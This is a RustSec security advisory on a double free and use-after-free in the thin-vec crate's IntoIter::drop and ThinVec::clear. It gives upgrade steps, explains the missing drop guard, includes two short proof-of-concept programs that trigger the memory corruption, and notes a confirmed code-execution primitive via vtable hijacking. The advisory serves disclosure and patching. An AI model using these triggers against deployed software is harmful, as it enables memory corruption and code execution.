RUSTSEC-2026-0103: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

What to do

1. See which version you have: cargo tree -i thin-vec (it also shows which of your dependencies pulls it in).
2. Update within your version requirement: cargo update -p thin-vec. If the fix is a newer major or minor than your requirement allows, raise it in Cargo.toml (for example thin-vec = "0.2.16") or update the dependency that pulls it in.
3. Check again with cargo audit, or paste your Cargo.lock into our Cargo.toml checker.

Details from the advisory

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin-vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code - no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 - IntoIter::drop

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a **DropGuard pattern**, but thin-vec lacks this defense.

PoC

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Vulnerability 2 - ThinVec::clear

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

PoC

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Prerequisites

1. ThinVec stores heap-owning types (String, Vec, Box, etc.) 2. (Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic 3. The Drop implementation of a remaining element triggers a panic

When combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

References

• Package: crates.io/crates/thin-vec
• Advisory: rustsec.org/advisories/RUSTSEC-2026-0103.html
• Web: github.com/mozilla/thin-vec/commit/df64748355222525c344ecd9d2c9f59a662e1678

From the RustSec Advisory Database (CC0-1.0) via the OSV export, downloaded Oct 24, 2026. Severity score computed from the published CVSS vector.